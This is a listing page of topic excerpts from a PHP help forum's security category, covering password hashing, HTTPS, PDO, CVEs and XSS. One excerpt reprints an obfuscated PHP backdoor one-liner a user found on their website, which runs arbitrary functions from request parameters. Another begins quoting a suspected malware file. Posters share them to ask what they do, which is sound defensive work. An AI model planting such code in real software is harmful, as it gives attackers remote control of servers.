# Security and PHP

**URL:** https://www.phphelp.com/c/security-and-php/8.md

[Latest](https://www.phphelp.com/latest.md) · [Categories](https://www.phphelp.com/categories.md)

---

## [About the Security and PHP category](https://www.phphelp.com/t/about-the-security-and-php-category/8562)

<div class="topic-metadata">

**Author:** [@system](https://www.phphelp.com/u/system)\
**Replies:** 0\
**Last updated:** [July 16, 2018, 5:46am UTC](https://www.phphelp.com/t/about-the-security-and-php-category/8562 "2018-07-16T05:46:13Z")

</div>

Talk about web application/script security here.

---

## [Can't get password\_verify() to work](https://www.phphelp.com/t/cant-get-password-verify-to-work/36309)

<div class="topic-metadata">

**Author:** [@MrPNW](https://www.phphelp.com/u/MrPNW)\
**Replies:** 5\
**Last updated:** [November 7, 2024, 4:39am UTC](https://www.phphelp.com/t/cant-get-password-verify-to-work/36309 "2024-11-07T04:39:42Z")

</div>

I’m fairly new to PHP even though I’ve been coding for 25+ years. The issue I’m having is my login script. I know it seems pretty easy and straight-forward but I’m hung up on the password\_verify() function. I’ve hashed m…

---

## [Forcing HTTPS on the domain disables website functions](https://www.phphelp.com/t/forcing-https-on-the-domain-disables-website-functions/36284)

<div class="topic-metadata">

**Author:** [@Larry](https://www.phphelp.com/u/Larry)\
**Replies:** 0\
**Last updated:** [September 23, 2024, 11:20pm UTC](https://www.phphelp.com/t/forcing-https-on-the-domain-disables-website-functions/36284 "2024-09-23T23:20:54Z")

</div>

Hello, recently I forced HTTPS on my domain and it disabled the menu buttons on my homepage. I have been trying to find which files to edit to change the URL. I keep searching my server to find the file that controls thi…

---

## [Asking for feedback on a PHP Security Scanner](https://www.phphelp.com/t/asking-for-feedback-on-a-php-security-scanner/35841)

<div class="topic-metadata">

**Author:** [@phpio](https://www.phphelp.com/u/phpio)\
**Replies:** 2\
**Last updated:** [July 18, 2024, 4:23pm UTC](https://www.phphelp.com/t/asking-for-feedback-on-a-php-security-scanner/35841 "2024-07-18T16:23:30Z")

</div>

Yo what’s up everyone! My team & I (ahaha D12 + Eminem moment fr) have recently finished working on a project that has cost me a lot of hours of sleep OTL and we’re kinda wondering if you lot would be willing to help us …

---

## [How to find malware in my website?](https://www.phphelp.com/t/how-to-find-malware-in-my-website/36212)

<div class="topic-metadata">

**Author:** [@shahbaz](https://www.phphelp.com/u/shahbaz)\
**Replies:** 0\
**Last updated:** [July 16, 2024, 10:49am UTC](https://www.phphelp.com/t/how-to-find-malware-in-my-website/36212 "2024-07-16T10:49:44Z")

</div>

How to find malware in my website?

---

## [Database hack](https://www.phphelp.com/t/database-hack/35483)

<div class="topic-metadata">

**Author:** [@Myportal](https://www.phphelp.com/u/Myportal)\
**Replies:** 3\
**Last updated:** [June 15, 2023, 11:20am UTC](https://www.phphelp.com/t/database-hack/35483 "2023-06-15T11:20:02Z")

</div>

I successfully built a transactional app with PDO MySQL, all transactions that deals with cash inflow and outflow are programmed to record accordingly. But I figure out that someone credited his wallet by himself and the…

---

## [Updating Procedural to PDO Legacy PHP Code - approach to addslashes() in the Database](https://www.phphelp.com/t/updating-procedural-to-pdo-legacy-php-code-approach-to-addslashes-in-the-database/33980)

<div class="topic-metadata">

**Author:** [@jase.henry](https://www.phphelp.com/u/jase.henry)\
**Replies:** 11\
**Last updated:** [September 22, 2021, 6:15am UTC](https://www.phphelp.com/t/updating-procedural-to-pdo-legacy-php-code-approach-to-addslashes-in-the-database/33980 "2021-09-22T06:15:23Z")

</div>

I am looking for advice and experiences on the best approach to move an old php 5.4 procedural project to a 7.x OOP with PDO. I am comfortable with having to completely re-write (as I think this is really the only optio…

---

## [PHP, third party libraries, and CVEs](https://www.phphelp.com/t/php-third-party-libraries-and-cves/33682)

<div class="topic-metadata">

**Author:** [@4lROmJ6H8JF](https://www.phphelp.com/u/4lROmJ6H8JF)\
**Replies:** 13\
**Last updated:** [July 12, 2021, 6:28pm UTC](https://www.phphelp.com/t/php-third-party-libraries-and-cves/33682 "2021-07-12T18:28:04Z")

</div>

Please enjoy my harrowing tale: I ran a scan and it popped up suggesting nghttp2.dll that is packaged with Windows PHP is vulnerable to CVE-2020-11080. Alright, no problem, I’ll just update PHP. Ah, no, the latest one …

---

## [TripleDES Encryption](https://www.phphelp.com/t/tripledes-encryption/33638)

<div class="topic-metadata">

**Author:** [@codegenty](https://www.phphelp.com/u/codegenty)\
**Replies:** 0\
**Last updated:** [June 21, 2021, 6:14pm UTC](https://www.phphelp.com/t/tripledes-encryption/33638 "2021-06-21T18:14:08Z")

</div>

Hi, Please I need help with encrypting concatenated strings using TripleDES encryption Example string “12345678”,hfbcjehce ================== Sample Code public function encryptPayload($data) { $key= $this-\>encKey…

---

## [Whitelisting Domain to allow Access to Database](https://www.phphelp.com/t/whitelisting-domain-to-allow-access-to-database/33446)

<div class="topic-metadata">

**Author:** [@develkneifel](https://www.phphelp.com/u/develkneifel)\
**Replies:** 2\
**Last updated:** [May 5, 2021, 5:12pm UTC](https://www.phphelp.com/t/whitelisting-domain-to-allow-access-to-database/33446 "2021-05-05T17:12:30Z")

</div>

I just started game development. And I have a mySQL database that is storing all my highscores. I am hosting my game on www.newgrounds.com ; however, when I go to load the high scores off the site, it doesn’t load, which…

---

## [PHPmailer Wrong Encryption](https://www.phphelp.com/t/phpmailer-wrong-encryption/33340)

<div class="topic-metadata">

**Author:** [@ankesh](https://www.phphelp.com/u/ankesh)\
**Replies:** 1\
**Last updated:** [April 13, 2021, 6:57am UTC](https://www.phphelp.com/t/phpmailer-wrong-encryption/33340 "2021-04-13T06:57:00Z")

</div>

Here is my Code for Register.php for a Login System with MySQL: \<?php session\_start(); require\_once 'config.php'; require\_once 'dbh.php'; require\_once 'functions.php'; require\_once 'PHPMailer/PHPMailerAutoload.php'; if …

---

## [General PHP Security Overview](https://www.phphelp.com/t/general-php-security-overview/33161)

<div class="topic-metadata">

**Author:** [@web1928](https://www.phphelp.com/u/web1928)\
**Replies:** 6\
**Last updated:** [February 24, 2021, 9:44am UTC](https://www.phphelp.com/t/general-php-security-overview/33161 "2021-02-24T09:44:41Z")

</div>

Hi guys. I hope this is okay. If not, I’m happy to remove it. This is so important to me as a learning coder (and should be to everyone) so I wanted to put down a summary of my PHP security understanding and do’s/dont’s…

---

## [Securing Login Access with Google Authenticator](https://www.phphelp.com/t/securing-login-access-with-google-authenticator/33145)

<div class="topic-metadata">

**Author:** [@web1928](https://www.phphelp.com/u/web1928)\
**Replies:** 4\
**Last updated:** [February 23, 2021, 9:58pm UTC](https://www.phphelp.com/t/securing-login-access-with-google-authenticator/33145 "2021-02-23T21:58:59Z")

</div>

Hi guys. Have any of you secured access to restricted areas of your php sites e.g. admin/user login, by implementing a 2FA process? (I’m specifically talking about raw sites, rather than cms backend). I believe that t…

---

## [Please help me check this code if it safe from hackers or spammers](https://www.phphelp.com/t/please-help-me-check-this-code-if-it-safe-from-hackers-or-spammers/32667)

<div class="topic-metadata">

**Author:** [@Osaze](https://www.phphelp.com/u/Osaze)\
**Replies:** 3\
**Last updated:** [October 15, 2020, 6:36pm UTC](https://www.phphelp.com/t/please-help-me-check-this-code-if-it-safe-from-hackers-or-spammers/32667 "2020-10-15T18:36:06Z")

</div>

Good day friends, please i am still an upcoming developer please could you help me check if this contact form code is secured from hackers. Thanks \<?php require “define.php”; $seotitlemeta = “Contact $sitename”; incl…

---

## [Troubleshooting User Login Problem](https://www.phphelp.com/t/troubleshooting-user-login-problem/30505)

<div class="topic-metadata">

**Author:** [@jshenn](https://www.phphelp.com/u/jshenn)\
**Replies:** 7\
**Last updated:** [January 8, 2020, 5:57pm UTC](https://www.phphelp.com/t/troubleshooting-user-login-problem/30505 "2020-01-08T17:57:14Z")

</div>

We are using a multi-user PHP login system (Simple,Secure PHP) on our website. It has been working perfectly for several years. Recently we added one new user who is having trouble. His account works fine on his work …

---

## [Two Way SSL/ Two way ssl handshaking](https://www.phphelp.com/t/two-way-ssl-two-way-ssl-handshaking/30441)

<div class="topic-metadata">

**Author:** [@The\_Akshayrk](https://www.phphelp.com/u/The_Akshayrk)\
**Replies:** 4\
**Last updated:** [November 21, 2019, 2:47pm UTC](https://www.phphelp.com/t/two-way-ssl-two-way-ssl-handshaking/30441 "2019-11-21T14:47:18Z")

</div>

I am integrating my platform with one of our client (bank) for lead information sharing. The client requires the two way SSL Handshaking. How can I achieve the same on my platform the details about my website as below h…

---

## [Is that some kind of PHP backdoor](https://www.phphelp.com/t/is-that-some-kind-of-php-backdoor/29871)

<div class="topic-metadata">

**Author:** [@sadam](https://www.phphelp.com/u/sadam)\
**Replies:** 1\
**Last updated:** [September 4, 2019, 7:58pm UTC](https://www.phphelp.com/t/is-that-some-kind-of-php-backdoor/29871 "2019-09-04T19:58:40Z")

</div>

I found this code in my website files is that some kind of backdoor ? can someone explain this code line by line \<? $\_="{"; $\_=($\_^"\<").($\_^"\>").($\_^"/");?\> \<?=${'\_'.$\_}\["\_"\](${'\_'.$\_}\["\_\_"\]);?\>

---

## [Can you guys help me in what this code does?](https://www.phphelp.com/t/can-you-guys-help-me-in-what-this-code-does/29329)

<div class="topic-metadata">

**Author:** [@zigzagzoe](https://www.phphelp.com/u/zigzagzoe)\
**Replies:** 6\
**Last updated:** [June 25, 2019, 8:57am UTC](https://www.phphelp.com/t/can-you-guys-help-me-in-what-this-code-does/29329 "2019-06-25T08:57:19Z")

</div>

Hello Everyone, I have seen this file sitting in my webserver, which seems like a malware to me. /\* OpenCart image cutter, resize and watermark creator \*/ $image = ''; if(isset($\_POST\['width'\]) && $\_POST\['height'\] &…

---

## [PHP Server Update](https://www.phphelp.com/t/php-server-update/28929)

<div class="topic-metadata">

**Author:** [@mzepeda](https://www.phphelp.com/u/mzepeda)\
**Replies:** 8\
**Last updated:** [May 14, 2019, 11:03pm UTC](https://www.phphelp.com/t/php-server-update/28929 "2019-05-14T23:03:27Z")

</div>

Hello my site is broken since hosting company updated servers. Dont understand what I need to do.

---

## [Need Help to fix the error](https://www.phphelp.com/t/need-help-to-fix-the-error/28331)

<div class="topic-metadata">

**Author:** [@Rexorlive](https://www.phphelp.com/u/Rexorlive)\
**Replies:** 1\
**Last updated:** [March 25, 2019, 9:21pm UTC](https://www.phphelp.com/t/need-help-to-fix-the-error/28331 "2019-03-25T21:21:18Z")

</div>

Hello i need help i have follow Warning = Warning : mysqli\_stmt\_bind\_param(): Number of variables doesn’t match number of parameters in prepared statement in D:\\XAMPP\\htdocs\\gameinfo.php on line 30 i need the ‘Succse…

---

## [PHP 7 password hashing](https://www.phphelp.com/t/php-7-password-hashing/26723)

<div class="topic-metadata">

**Author:** [@nefus](https://www.phphelp.com/u/nefus)\
**Replies:** 11\
**Last updated:** [July 23, 2018, 9:11pm UTC](https://www.phphelp.com/t/php-7-password-hashing/26723 "2018-07-23T21:11:34Z")

</div>

Is anyone creating more complicated (practical) password hashing in PHP 7 than the example below? function encrypt($password) { $hashed = password\_hash($password, PASSWORD\_ARGON2I, \[‘memory\_cost’ =\> 2048, ‘time\_cost’ …

---

## [How To Publish A PHP Website W/ Database](https://www.phphelp.com/t/how-to-publish-a-php-website-w-database/22645)

<div class="topic-metadata">

**Author:** [@system](https://www.phphelp.com/u/system)\
**Replies:** 8\
**Last updated:** [October 10, 2017, 9:16pm UTC](https://www.phphelp.com/t/how-to-publish-a-php-website-w-database/22645 "2017-10-10T21:16:46Z")

</div>

I have a simple php application which lets a user upload a photo and it saves it to the database. Then the database displays the image in a gallery type area. I want to publish this website online. Does anyone know how t…

---

## [Strange encoded file with no extention loaded in the header!](https://www.phphelp.com/t/strange-encoded-file-with-no-extention-loaded-in-the-header/25957)

<div class="topic-metadata">

**Author:** [@ameri110](https://www.phphelp.com/u/ameri110)\
**Replies:** 3\
**Last updated:** [July 15, 2017, 8:54am UTC](https://www.phphelp.com/t/strange-encoded-file-with-no-extention-loaded-in-the-header/25957 "2017-07-15T08:54:31Z")

</div>

Hey freaks I’ve got a encoded/encrypted php file and i want to know the encoding method and the decoding method! The strange part is when making a small change in the comments at the beginning it stops working! Heres …

---

## [Cross site scripting Meta tag issue](https://www.phphelp.com/t/cross-site-scripting-meta-tag-issue/25774)

<div class="topic-metadata">

**Author:** [@mp5163093](https://www.phphelp.com/u/mp5163093)\
**Replies:** 3\
**Last updated:** [June 6, 2017, 8:56pm UTC](https://www.phphelp.com/t/cross-site-scripting-meta-tag-issue/25774 "2017-06-06T20:56:54Z")

</div>

Hello everyone, The below line of code is flag as being vulnerable for cross site scripting (xss) \[php\]\[/php\] Question: How do I manually test the page with a real code test ? Already try it in the url addres bar: \[…

---

## [php sessions errors](https://www.phphelp.com/t/php-sessions-errors/25790)

<div class="topic-metadata">

**Author:** [@darrelvf](https://www.phphelp.com/u/darrelvf)\
**Replies:** 12\
**Last updated:** [March 22, 2017, 3:42pm UTC](https://www.phphelp.com/t/php-sessions-errors/25790 "2017-03-22T15:42:29Z")

</div>

I need help with the following error message session\_start(): Cannot send session cache limiter - headers already sent I get the error at my website http://www.v-tran.net/drivetech/ there is a test user named test with…

---

## [Vulnerabilities in ImageMagick (Imagick, Imagine) including Remote Code Executio](https://www.phphelp.com/t/vulnerabilities-in-imagemagick-imagick-imagine-including-remote-code-executio/25189)

<div class="topic-metadata">

**Author:** [@JimL](https://www.phphelp.com/u/JimL)\
**Replies:** 1\
**Last updated:** [June 8, 2016, 8:54pm UTC](https://www.phphelp.com/t/vulnerabilities-in-imagemagick-imagick-imagine-including-remote-code-executio/25189 "2016-06-08T20:54:10Z")

</div>

There are multiple vulnerabilities in ImageMagick, a package commonly used by web services to process images. One of the vulnerabilities can lead to remote code execution (RCE) if you process user submitted images. The e…

---

## [php - change password bug](https://www.phphelp.com/t/php-change-password-bug/24856)

<div class="topic-metadata">

**Author:** [@msilva](https://www.phphelp.com/u/msilva)\
**Replies:** 4\
**Last updated:** [January 8, 2016, 12:02am UTC](https://www.phphelp.com/t/php-change-password-bug/24856 "2016-01-08T00:02:30Z")

</div>

Hey guys, I create this code to change the user password. But the “CurrentPassword” is not working with the NEw Password & Re-New Password. So, if you put the New password & Re-Newpassword the code change the password…

---

## [How to implement login for 30 days or this session only?](https://www.phphelp.com/t/how-to-implement-login-for-30-days-or-this-session-only/24733)

<div class="topic-metadata">

**Author:** [@Kingzp](https://www.phphelp.com/u/Kingzp)\
**Replies:** 9\
**Last updated:** [November 22, 2015, 7:31am UTC](https://www.phphelp.com/t/how-to-implement-login-for-30-days-or-this-session-only/24733 "2015-11-22T07:31:27Z")

</div>

I want to let user be able to choose when they login, whether they want to be remembered for 30 days or for the session only. I a bit new to PHP programming So far i have this: HTML code: \[code\]Remember me for: …

---

## [Help improving sanitizing user input & registration?](https://www.phphelp.com/t/help-improving-sanitizing-user-input-registration/24707)

<div class="topic-metadata">

**Author:** [@melissa](https://www.phphelp.com/u/melissa)\
**Replies:** 31\
**Last updated:** [November 9, 2015, 8:34pm UTC](https://www.phphelp.com/t/help-improving-sanitizing-user-input-registration/24707 "2015-11-09T20:34:34Z")

</div>

What improvements should I make? Because the site is so form dependent I wrote a simple function to sanitize the user inputs and do a little formatting of the input data. This function also sanitizes the GET input from …

---

## [php sessions](https://www.phphelp.com/t/php-sessions/22163)

<div class="topic-metadata">

**Author:** [@infoitmanoj](https://www.phphelp.com/u/infoitmanoj)\
**Replies:** 2\
**Last updated:** [September 16, 2015, 12:00pm UTC](https://www.phphelp.com/t/php-sessions/22163 "2015-09-16T12:00:47Z")

</div>

hai i am new for php programming …i can be avoid only one user active per session i not know how to dothis …any help…

[Next page](https://www.phphelp.com/c/security-and-php/8.md?page=1)
